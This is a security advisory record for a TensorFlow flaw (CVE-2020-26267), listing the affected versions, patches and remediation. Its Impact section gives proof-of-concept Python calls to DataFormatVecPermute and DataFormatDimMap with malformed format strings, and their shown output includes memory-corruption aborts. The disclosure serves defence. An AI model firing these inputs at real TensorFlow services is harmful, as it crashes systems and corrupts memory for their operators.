--- id: CVE-2020-26267 aliases: - GHSA-c9f3-9wfr-wgh7 - BIT-tensorflow-2020-26267 - PYSEC-2020-140 - PYSEC-2020-298 - PYSEC-2020-333 title: Lack of validation in data format attributes in TensorFlow summary: Lack of validation in data format attributes in TensorFlow severity: medium cvss: 4.4 cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L' vendor: tensorflow product: tensorflow ecosystem: pip affected: - tensorflow < 1.15.5 - 'tensorflow >= 2.0.0, < 2.0.4' - 'tensorflow >= 2.1.0, < 2.1.3' - 'tensorflow >= 2.2.0, < 2.2.2' - 'tensorflow >= 2.3.0, < 2.3.2' - tensorflow-cpu < 1.15.5 - 'tensorflow-cpu >= 2.0.0, < 2.0.4' - 'tensorflow-cpu >= 2.1.0, < 2.1.3' - 'tensorflow-cpu >= 2.2.0, < 2.2.2' - 'tensorflow-cpu >= 2.3.0, < 2.3.2' - tensorflow-gpu < 1.15.5 - 'tensorflow-gpu >= 2.0.0, < 2.0.4' - 'tensorflow-gpu >= 2.1.0, < 2.1.3' - 'tensorflow-gpu >= 2.2.0, < 2.2.2' - 'tensorflow-gpu >= 2.3.0, < 2.3.2' patched: - tensorflow 1.15.5 - tensorflow 2.0.4 - tensorflow 2.1.3 - tensorflow 2.2.2 - tensorflow 2.3.2 - tensorflow-cpu 1.15.5 - tensorflow-cpu 2.0.4 - tensorflow-cpu 2.1.3 - tensorflow-cpu 2.2.2 - tensorflow-cpu 2.3.2 - tensorflow-gpu 1.15.5 - tensorflow-gpu 2.0.4 - tensorflow-gpu 2.1.3 - tensorflow-gpu 2.2.2 - tensorflow-gpu 2.3.2 published: '2020-12-10' updated: '2026-09-10' sourceUpdated: '2026-09-10T03:49:00.769495149Z' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-c9f3-9wfr-wgh7' references: - url: >- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7 - url: 'https://nvd.nist.gov/vuln/detail/CVE-2020-26267' - url: >- https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae - url: >- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml - url: >- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml - url: >- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml - url: 'https://github.com/tensorflow/tensorflow' tags: - osv - pip epss: 0.00243 epssPercentile: 0.13956 ingestedAt: '2026-09-12T03:13:01.687Z' --- ## Overview ### Impact The `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`. However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes. ```python >>> import tensorflow as tf >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234') ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW') ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W') >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='1253') ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='1223') ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1224', dst_format='1423') ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432') ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='12345678', dst_format='87654321') munmap_chunk(): invalid pointer Aborted ... >>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], src_format='12345678', dst_format='87654321') ... >>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], src_format='12345678', dst_format='87654321') free(): invalid next size (fast) Aborted ``` A similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons: ```python >>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234', >>> dst_format='8765') ``` ### Patches We have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved. Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360. ## Affected packages - `tensorflow < 1.15.5` - `tensorflow >= 2.0.0, < 2.0.4` - `tensorflow >= 2.1.0, < 2.1.3` - `tensorflow >= 2.2.0, < 2.2.2` - `tensorflow >= 2.3.0, < 2.3.2` - `tensorflow-cpu < 1.15.5` - `tensorflow-cpu >= 2.0.0, < 2.0.4` - `tensorflow-cpu >= 2.1.0, < 2.1.3` - `tensorflow-cpu >= 2.2.0, < 2.2.2` - `tensorflow-cpu >= 2.3.0, < 2.3.2` - `tensorflow-gpu < 1.15.5` - `tensorflow-gpu >= 2.0.0, < 2.0.4` - `tensorflow-gpu >= 2.1.0, < 2.1.3` - `tensorflow-gpu >= 2.2.0, < 2.2.2` - `tensorflow-gpu >= 2.3.0, < 2.3.2` ## Remediation Upgrade to a patched release: - `tensorflow 1.15.5` - `tensorflow 2.0.4` - `tensorflow 2.1.3` - `tensorflow 2.2.2` - `tensorflow 2.3.2` - `tensorflow-cpu 1.15.5` - `tensorflow-cpu 2.0.4` - `tensorflow-cpu 2.1.3` - `tensorflow-cpu 2.2.2` - `tensorflow-cpu 2.3.2` - `tensorflow-gpu 1.15.5` - `tensorflow-gpu 2.0.4` - `tensorflow-gpu 2.1.3` - `tensorflow-gpu 2.2.2` - `tensorflow-gpu 2.3.2`